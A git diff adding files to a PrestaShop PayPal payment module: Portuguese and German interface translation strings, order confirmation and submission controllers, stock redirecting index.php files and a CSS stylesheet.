+$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'O que é Paypal?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal, uma confiável empresa líder em pagamentos on-line, permite que compradores e empresas enviem e recebam dinheiro online. PayPal tem mais de 100 milhões de contas de membros em 190 países e regiões. Ele é aceito por comerciantes em toda parte, dentro e fora do eBay.'; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = 'É seguro para usar?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal ajuda a proteger suas informações de cartão de crédito com líderes de mercado em segurança e sistemas de prevenção de fraude. Quando você usa o PayPal, suas informações financeiras nunca são compartilhadas com o comerciante.'; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = 'Porque usar Paypal?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = 'Faça compras ou envie dinheiro com o Paypal - é grátis!'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Compre e pague de forma conveniente salvando suas informações com o Paypal'; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'O Paypal é aceito por milhões de empresas em todo o mundo e é o método preferido no eBay'; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = 'Comece a usar o Paypal hoje!'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com Paypal'; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Seu pedido no'; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'está completo.'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Você escolheu o método Paypal.'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Seu pedido será enviado em breve.'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Para qualquer pergunta ou mais informações, por favor contate nosso '; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'serviço de atendimento ao cliente'; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Seu carrinho de compra'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>error_425551a2289ed60c9260933d1c45ef00'] = 'Por favor consulte os registros:'; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Voltar'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Confirmação do Pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_d5860edcd3078f86ee963c27654bc6cf'] = 'Total da transação (impostos incluídos) :'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'A ID do seu pedido é:'; +$_MODULE['<{paypal}prestashop>order-confirmation_6e860dc1cf94ca08b3fd99993aa2dc68'] = 'A ID da sua transação Paypal é:'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Acompanhar meu pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Voltar para pedidos'; +$_MODULE['<{paypal}prestashop>order-summary_a40cab5994f36d4c48103a22ca082e8f'] = 'Seu carrinho de compra'; +$_MODULE['<{paypal}prestashop>order-summary_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>order-summary_f1d3b424cd68795ecaa552883759aceb'] = 'Resumo do pedido'; +$_MODULE['<{paypal}prestashop>order-summary_dd23adc5fb6bda9c384397b31e57fc53'] = 'Pagamento Paypal'; +$_MODULE['<{paypal}prestashop>order-summary_62d74398cb6ebaa69ab7339052ca5c92'] = 'Você escolheu pagar com Paypal.'; +$_MODULE['<{paypal}prestashop>order-summary_c884ed19483d45970c5bf23a681e2dd2'] = 'Aqui está um curto resumo do seu pedido:'; +$_MODULE['<{paypal}prestashop>order-summary_e2867a925cba382f1436d1834bb52a1c'] = 'O valor total do seu pedido é'; +$_MODULE['<{paypal}prestashop>order-summary_1f87346a16cf80c372065de3c54c86d9'] = '(imposto incluído)'; +$_MODULE['<{paypal}prestashop>order-summary_8ed356c32b198c9cb2abab7c3d262b93'] = 'Nós aceitamos as seguintes moedas para serem enviadas pelo Paypal:'; +$_MODULE['<{paypal}prestashop>order-summary_0881a11f7af33bc1b43e437391129d66'] = 'Por favor confirme seu pedido clicando \'Eu confirmo meu pedido\''; +$_MODULE['<{paypal}prestashop>order-summary_46b9e3665f187c739c55983f757ccda0'] = 'Eu confirmo meu pedido'; +$_MODULE['<{paypal}prestashop>express_checkout_form_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>paypal_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>iframe_ecab922bc1f9b5726e2a6deb4acaec4e'] = 'Volte para o website do comerciante'; +$_MODULE['<{paypal}prestashop>payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>payment_a3f2caee6ef8e68fbd26e42d83f2bf65'] = 'Pague com sua conta Paypal, cartão de crédito (CB, Visa, Mastercard...), ou cartão de crédito privado'; +$_MODULE['<{paypal}prestashop>payment_b08008a2de4331ba13f006c9bcf37b62'] = 'Pague com sua conta Paypal'; diff --git a/modules/paypal/controllers/front/confirm.php b/modules/paypal/controllers/front/confirm.php new file mode 100755 index 0000000..b3a3636 --- /dev/null +++ b/modules/paypal/controllers/front/confirm.php @@ -0,0 +1,58 @@ + + * @copyright 2007-2014 PrestaShop SA + * @version Release: $Revision: 13573 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + +/** + * @since 1.5.0 + */ + +class PayPalConfirmModuleFrontController extends ModuleFrontController +{ + public $display_column_left = false; + + public function initContent() + { + if (!$this->context->customer->isLogged(true) || empty($this->context->cart)) + Tools::redirect('index.php'); + + parent::initContent(); + + $this->paypal = new PayPal(); + $this->context = Context::getContext(); + $this->id_module = (int)Tools::getValue('id_module'); + + $currency = new Currency((int)$this->context->cart->id_currency); + + $this->context->smarty->assign(array( + 'form_action' => PayPal::getShopDomainSsl(true, true)._MODULE_DIR_.$this->paypal->name.'/express_checkout/payment.php', + 'total' => Tools::displayPrice($this->context->cart->getOrderTotal(true), $currency), + 'logos' => $this->paypal->paypal_logos->getLogos(), + 'use_mobile' => (bool)$this->paypal->useMobile() + )); + + $this->setTemplate('order-summary.tpl'); + } +} diff --git a/modules/paypal/controllers/front/expresscheckoutsubmit.php b/modules/paypal/controllers/front/expresscheckoutsubmit.php new file mode 100755 index 0000000..c557330 --- /dev/null +++ b/modules/paypal/controllers/front/expresscheckoutsubmit.php @@ -0,0 +1,33 @@ + + * @copyright 2007-2014 PrestaShop SA + * @version Release: $Revision: 13573 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + + /** + * @since 1.5.0 + */ + +include_once(dirname(__FILE__).'/payment.php'); +include_once(dirname(__FILE__).'/../../express_checkout/payment.php'); diff --git a/modules/paypal/controllers/front/index.php b/modules/paypal/controllers/front/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/controllers/front/integralevolutionsubmit.php b/modules/paypal/controllers/front/integralevolutionsubmit.php new file mode 100755 index 0000000..89f6f85 --- /dev/null +++ b/modules/paypal/controllers/front/integralevolutionsubmit.php @@ -0,0 +1,33 @@ + + * @copyright 2007-2014 PrestaShop SA + * @version Release: $Revision: 13573 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + + /** + * @since 1.5.0 + */ + +include_once(dirname(__FILE__).'/submit.php'); +include_once(dirname(__FILE__).'/../../integral_evolution/submit.php'); \ No newline at end of file diff --git a/modules/paypal/controllers/front/submit.php b/modules/paypal/controllers/front/submit.php new file mode 100755 index 0000000..5f2ff3f --- /dev/null +++ b/modules/paypal/controllers/front/submit.php @@ -0,0 +1,157 @@ + + * @copyright 2007-2014 PrestaShop SA + * @version Release: $Revision: 13573 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + +/** + * @since 1.5.0 + */ + +class PayPalSubmitModuleFrontController extends ModuleFrontController +{ + public $display_column_left = false; + + public function initContent() + { + parent::initContent(); + + $this->paypal = new PayPal(); + $this->context = Context::getContext(); + + $this->id_module = (int)Tools::getValue('id_module'); + $this->id_order = (int)Tools::getValue('id_order'); + $order = new Order($this->id_order); + $order_state = new OrderState($order->current_state); + $paypal_order = PayPalOrder::getOrderById($this->id_order); + + if ($order_state->template[$this->context->language->id] == 'payment_error') + { + $this->context->smarty->assign( + array( + 'message' => $order_state->name[$this->context->language->id], + 'logs' => array( + $this->paypal->l('An error occurred while processing payment.') + ), + 'order' => $paypal_order, + 'price' => Tools::displayPrice($paypal_order['total_paid'], $this->context->currency), + ) + ); + + return $this->setTemplate('error.tpl'); + } + + $order_currency = new Currency((int)$order->id_currency); + $display_currency = new Currency((int)$this->context->currency->id); + + $price = Tools::convertPriceFull($paypal_order['total_paid'], $order_currency, $display_currency); + + $this->context->smarty->assign( + array( + 'is_guest' => (($this->context->customer->is_guest) || $this->context->customer->id == false), + 'order' => $paypal_order, + 'price' => Tools::displayPrice($price, $this->context->currency->id), + 'HOOK_ORDER_CONFIRMATION' => $this->displayOrderConfirmation(), + 'HOOK_PAYMENT_RETURN' => $this->displayPaymentReturn() + ) + ); + if(version_compare(_PS_VERSION_, '1.5', '>')) + { + $this->context->smarty->assign(array( + 'reference_order' => Order::getUniqReferenceOf($paypal_order['id_order']) + )); + } + + if (($this->context->customer->is_guest) || $this->context->customer->id == false) + { + $this->context->smarty->assign( + array( + 'id_order' => (int)$this->id_order, + 'id_order_formatted' => sprintf('#%06d', (int)$this->id_order), + 'order_reference' => $order->reference, + ) + ); + + /* If guest we clear the cookie for security reason */ + $this->context->customer->mylogout(); + } + + + /* Remarketing Google conversion */ + $gm_orderProducts_tax_excl = $order->getTotalProductsWithoutTaxes(); + + $this->context->smarty->assign(array('gm_order_total_tax_excl' => $gm_orderProducts_tax_excl)); + /* End remarketing */ + + if ($this->context->getMobileDevice() == true) + $this->setTemplate('order-confirmation-mobile.tpl'); + else + $this->setTemplate('order-confirmation.tpl'); + } + + private function displayHook() + { + if (Validate::isUnsignedId($this->id_order) && Validate::isUnsignedId($this->id_module)) + { + $order = new Order((int)$this->id_order); + $currency = new Currency((int)$order->id_currency); + + if (Validate::isLoadedObject($order)) + { + $params['objOrder'] = $order; + $params['currencyObj'] = $currency; + $params['currency'] = $currency->sign; + $params['total_to_pay'] = $order->getOrdersTotalPaid(); + + return $params; + } + } + + return false; + } + + /** + * Execute the hook displayPaymentReturn + */ + public function displayPaymentReturn() + { + $params = $this->displayHook(); + + if ($params && is_array($params)) + return Hook::exec('displayPaymentReturn', $params, (int)$this->id_module); + return false; + } + + /** + * Execute the hook displayOrderConfirmation + */ + public function displayOrderConfirmation() + { + $params = $this->displayHook(); + + if ($params && is_array($params)) + return Hook::exec('displayOrderConfirmation', $params); + return false; + } +} diff --git a/modules/paypal/controllers/index.php b/modules/paypal/controllers/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/css/index.php b/modules/paypal/css/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/css/paypal.css b/modules/paypal/css/paypal.css new file mode 100755 index 0000000..87dda98 --- /dev/null +++ b/modules/paypal/css/paypal.css @@ -0,0 +1,52 @@ +#paypal-column-block p{text-align:center} +.bold{font-weight:700} +.clear{clear:both} +#paypal-wrapper .half{width:44%} +#paypal-wrapper{font-size:1.1em;position:relative} +#paypal-wrapper ul li{text-align:left} +#paypal-wrapper hr{border-top:1px solid #ccc!important;margin-bottom:0;margin-top:20px} +#paypal-wrapper .toolbox{background:#fff2cf;border:1px solid #aaa;color:#000;display:none;font-size:10px;font-weight:400;left:730px;line-height:12px;padding:6px!important;position:absolute;text-transform:none;top:-10px!important;width:180px;z-index:100} +.disabled,.disabled *,.disabled * *,.disabled * * *{color:#888!important} +.disabled .paypal-button,.disabled input[type=submit]{background:#DDD!important;border:1px solid #999!important} +#paypal-wrapper .inline{display:inline;margin-right:5px} +#paypal-wrapper .box{margin:6px 1%;padding:12px;text-align:left} +#paypal-wrapper .box ul{list-style:none;margin:0;padding:0} +#paypal-wrapper .box ul.tick li{background:url(../img/blue_tick.png) no-repeat left 3px;padding:4px 26px} +span.paypal-section{background:url(../img/sprites.png) no-repeat 0 0;color:#FFF!important;float:left;height:24px;line-height:24px;margin-right:8px;text-align:center;width:24px} +.disabled span.paypal-section{background:url(../img/sprites.png) 0 24px} +#paypal-slogan{font-size:1.8em;margin:0 0 5px;text-transform:uppercase} +#paypal-slogan .light{color:#369} +#paypal-slogan .dark{color:#036} +#paypal-call-button{margin:-6px 0 0;padding:0} +#paypal-call,#paypal-call-foonote{background:#e1e1e1 url(../img/bg-call-button.png) repeat-x;border:1px solid #d2d2d2;border-left-color:#ddd;border-radius:5px;border-right-color:#ddd;border-top-color:#e9e9e9;color:#369;display:block;margin:0;padding:10px 20px;width:auto} +#paypal-call-foonote{background:none;border:none;font-size:.8em;max-width:320px;padding:2px 10px;text-align:justify} +#paypal-get-identification{display:block;min-width:378px;text-align:center} +#paypal-wrapper a,#fancybox-wrap a,.fancybox-wrap a{color:#036;text-decoration:underline} +#paypal-wrapper h1,#paypal-wrapper h2,#paypal-wrapper h3,#paypal-wrapper h4,#paypal-wrapper h5,#paypal-wrapper h6,#fancybox-wrap h1,#fancybox-wrap h2,#fancybox-wrap h3,#fancybox-wrap h4,#fancybox-wrap h5,#fancybox-wrap h6,.fancybox-wrap h1,.fancybox-wrap h2,.fancybox-wrap h3,.fancybox-wrap h4,.fancybox-wrap h5,.fancybox-wrap h6{color:#036;font-family:Arial, Verdana, Helvetica, sans-serif;font-weight:400;text-transform:uppercase} +#fancybox-wrap h3,.fancybox-wrap h3,#paypal-wrapper h3{font-size:1.4em;line-height:24px} +#fancybox-wrap h4,.fancybox-wrap h4,#paypal-wrapper h4{font-size:1.2em;margin-bottom:5px;text-transform:none} +#paypal-wrapper h1.inline + img,#paypal-wrapper h2.inline + img,#paypal-wrapper h3.inline + img,#paypal-wrapper h4.inline + img,#paypal-wrapper h5.inline + img,#paypal-wrapper h6.inline + img{vertical-align:-6px} +#paypal-wrapper p{margin-top:10px;padding-bottom:0} +#paypal-wrapper .form-block{margin-top:5px} +#paypal-wrapper .form-block input{vertical-align:top} +#paypal-wrapper dl dt{clear:both;line-height:20px;margin-bottom:2px;text-align:right;width:220px} +#paypal-wrapper dl dd{margin:0 0 16px 10px} +#paypal-wrapper label{display:inline-block;float:none;font-size:.9em;font-weight:400;margin-bottom:5px;padding-left:6px;padding-top:0;position:relative;text-align:left;width:auto} +#paypal-wrapper dl dt label{margin:0;padding:0} +#paypal-wrapper .description,#paypal-wrapper .paypal-signup-content{color:#666;font-size:.9em;font-weight:400;margin:2px 0;font-size:11px; font-style:italic;} +label span.description{display:block;padding-left:16px} +#paypal-wrapper input[type=submit],.fancybox-wrap button,#fancybox-wrap button,#paypal-wrapper .paypal-button{background:url(../img/bg-button.png) repeat-x;border:1px solid #f29116;border-radius:4px;color:#292929;cursor:pointer;display:inline-block;font-weight:700;height:25px;line-height:26px;padding:0 10px;text-decoration:none;text-shadow:0 1px 1px #DDD;text-transform:uppercase} +#fancybox-wrap ul,.fancybox-wrap ul{font-size:1.1em;padding-left:10px} +#fancybox-wrap button,.fancybox-wrap button{line-height:20px} +#paypal-test-mode-confirmation{margin:30px;text-align:left;width:500px} +#fancybox-wrap #buttons,.fancybox-wrap #buttons{margin-top:20px;text-align:right} +#paypal-test-mode-confirmation button + button{margin-left:20px;margin-right:20px} +#paypal-save-success,#paypal-save-failure{width:450px} +#container_express_checkout{margin:auto;text-align:left} +#payment_paypal_express_checkout{cursor:pointer} +.paypal_error span{color:red;font-weight:bolder} +.paypal_payment_acccepted span{color:green;font-weight:bolder} +#paypal_configuration > .box{margin-left:0;margin-right:0;padding-left:0;padding-right:0} +#paypal-wrapper .left,#paypal-wrapper dl > *{float:left} +#paypal-wrapper .right,.box ul.tick{float:right} +.paypal-hide{display:none} \ No newline at end of file diff --git a/modules/paypal/de.php b/modules/paypal/de.php new file mode 100755 index 0000000..31b6910 --- /dev/null +++ b/modules/paypal/de.php @@ -0,0 +1,90 @@ +paypal_abstract_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Zahlungen per Kreditkarte (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) mit PayPal akzeptieren'; +$_MODULE['<{paypal}prestashop>paypal_abstract_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Sind Sie sicher, dass Sie Ihre Details löschen möchten?'; +$_MODULE['<{paypal}prestashop>paypal_abstract_32af90c3cfef1bacf43b0c3a8f60a4da'] = 'Geldbetrag wurde überwiesen'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d238649ac5ec14afc894fad36c0b50fc'] = 'Die Anfrage nach Geldüberweisung war nicht erfolgreich, bitte lesen Sie die Protokollnachricht!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_05b998de2c4fb46a7bdd37bd378b81d9'] = 'Die Bestätigung ist erfolgt, siehe Protokollnachricht!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_aeca7e93a1b3d77e38c3cffa131774d5'] = 'Der Betrag wurde überwiesen'; +$_MODULE['<{paypal}prestashop>paypal_abstract_cba030a50c8a99c7e224adbe1cf58544'] = 'Die Anfrage nach Geldüberweisung war nicht erfolgreich, bitte lesen Sie die Protokollnachricht!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_20fda49ece75d93bea97648ab1f1f1cf'] = 'Produktergebnisse löschen'; +$_MODULE['<{paypal}prestashop>paypal_abstract_e5d5d9f40763cfe6549bef705e3529a7'] = 'Die Zahlungsnachricht ist nicht gültig, prüfen Sie bitte Ihr Modul!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ee9dc1e678d54c517f481583c3fb2db8'] = 'Keine gültige Währung'; +$_MODULE['<{paypal}prestashop>paypal_abstract_eec39bf42bd135971fb2d838c67d1449'] = 'Ergebnis Rückerstattungsoperation'; +$_MODULE['<{paypal}prestashop>paypal_abstract_2ab62d1a578713d0862b56819295630e'] = 'Rückerstattung abgeschlossen mit PayPal!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_a64db959966ba8d07c8b5d9493fcc21f'] = 'Fehler bei der Transaktion!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_67962779da962e3d4225055afc05e7bd'] = 'Ergebnis Einzugsoperation'; +$_MODULE['<{paypal}prestashop>paypal_abstract_8778ee03f6592d5fec9a1f2ee851e476'] = 'Bestellung mit PayPal abgeschlossen!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_672d40feac6437e49f771019bc330790'] = 'Überprüfungsstatus:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_1828820cc60e36b6f9fdf60cab103ed7'] = 'Sie nutzenzur Zeit die Standard-PayPal-Mail-Adresse, Sie müssen Ihre eigene E-Mail-Adresse verwenden'; +$_MODULE['<{paypal}prestashop>validation_20dfea1a472e5be3f15f6b5f36ca335c'] = 'Problem beim Verbinden mit dem PayPal-Server.'; +$_MODULE['<{paypal}prestashop>validation_f7799c2ded739cf3c3e9babffc5f315b'] = 'Verbindung über cURL fehlgeschlagen'; +$_MODULE['<{paypal}prestashop>validation_eca77e208634d52703b07672abbf16ec'] = 'Fehler in der Überprüfung (mit cURL). Zurückgegeben:'; +$_MODULE['<{paypal}prestashop>validation_8358ec19f397d4cdd632688d4f79e535'] = 'Fehler in der Überprüfung (mit fsockopen). Zurückgegeben:'; +$_MODULE['<{paypal}prestashop>validation_76ee8dc73701e846f7bccdf98dae079b'] = 'Keine Kommunikationsmittel zur Verfügung.'; +$_MODULE['<{paypal}prestashop>validation_bd0e34e5be6447844e6f262d51f1a9dc'] = 'Zahlung:'; +$_MODULE['<{paypal}prestashop>validation_e0395c4ce35d0b1e59ca3f2d5e260d23'] = 'Paypal Schlüssel \'custom\' nicht angegeben, kann keine Verbindung zum Warenkorb herstellen'; +$_MODULE['<{paypal}prestashop>validation_765261b630ee773659fae89e9ad762f5'] = 'Paypal-Schlüssel \'txn_id\' nicht angegeben, Transaktion unbekannt'; +$_MODULE['<{paypal}prestashop>validation_01634612f84d2b7ba56ccdf467e604b7'] = 'Paypal-Schlüssel \'mc_currency\' nicht angegeben, Währung unbekannt'; +$_MODULE['<{paypal}prestashop>validation_e61f52d02b9f52fbe1fd41ed320e29c3'] = 'Warenkorb nicht gefunden'; +$_MODULE['<{paypal}prestashop>validation_0617900b1aff826081d07f5a3e2e7cd0'] = 'Bestellauftrag wurde bereits gestellt'; +$_MODULE['<{paypal}prestashop>validation_f5209b3301a46f3057ffbf34d903e205'] = 'PayPal-Transaktion-ID:'; +$_MODULE['<{paypal}prestashop>validation_7b19e875ff64b09d80ee05dcc84b9975'] = 'Die PayPal-Transaktion konnte nicht VERIFIZIERT werden.'; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Neue Verbindung herstellen zu'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Verbindung fehlgeschlagen mit CURL Methode '; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Verbindung erfolgreich mit CURL Methode '; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Senden dieser Parameter:'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Sendung mit CURL Methode fehlgeschlagen! Fehler:'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Sendung mit CURL Methode erfolgreich'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Verbindung fehlgeschlagen mit fsockopen Methode '; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'Verbindung erfolgreich mit fsockopen Methode '; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Sendung mit fsockopen Methode fehlgeschlagen!'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Sendung mit fsockopen Methode erfolgreich'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'PayPal Antwort:'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_ee9dc1e678d54c517f481583c3fb2db8'] = 'Keine gültige Währung'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_484f5a79672cebe198ebdde45a1d672f'] = 'Geschenkverpackung:'; +$_MODULE['<{paypal}prestashop>submit_36ec50c0e914dd2fb48a1b27540512ce'] = 'Zahlung akzeptiert.'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Zahlung akzeptiert.'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'Was ist PayPal?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal ist ein bewährter Marktführer bei Online-Shop-Zahlungen, der es Käufern und Unternehmen ermöglicht, Geld online zu senden und zu empfangen. PayPal hat über 100 Millionen Mitgliedskonten in 190 Ländern und Regionen. Es wird von Händlern allerorten, sowohl auf als auch außerhalb von eBay, akzeptiert.'; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = 'Ist es sicher?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal schützt Ihre Kreditkarteninformationen mit branchenweit führenden Sicherheits-und Betrugsbekämpfungssystemen. Wenn Sie PayPal verwenden, werden Ihre finanziellen Informationen dem Händler niemals sichtbar gemacht.'; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = 'Warum PayPal?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = 'Gebührenfrei einkaufen oder Geld senden mit PayPal'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Bequem einkaufen und zahlen durch gespeicherte Daten bei PayPal'; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'PayPal wird von Millionen von Händlern weltweit akzeptiert und ist die bevorzugte Zahlungsmethode bei eBay'; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = 'Nutzen Sie PayPal noch heute!'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Mit PayPal bezahlen '; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Ihre Bestellung vom'; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'ist abgeschlossen.'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Sie haben die PayPal-Methode gewählt.'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Ihre Bestellung wird sehr bald geschickt werden.'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Bei Fragen oder für weitere Informationen, kontaktieren Sie bitte unseren'; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'Kunden-Support'; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Ihr Warenkorb'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>error_425551a2289ed60c9260933d1c45ef00'] = 'Bitte lesen Sie die Protokolle:'; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Zurück'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Bestellbestätigung'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Ihre Bestellnummer lautet:'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Bestellung verfolgen'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Zurück zu Bestellungen'; +$_MODULE['<{paypal}prestashop>express_checkout_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Mit PayPal bezahlen '; +$_MODULE['<{paypal}prestashop>payment_a40cab5994f36d4c48103a22ca082e8f'] = 'Ihr Warenkorb'; +$_MODULE['<{paypal}prestashop>payment_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; 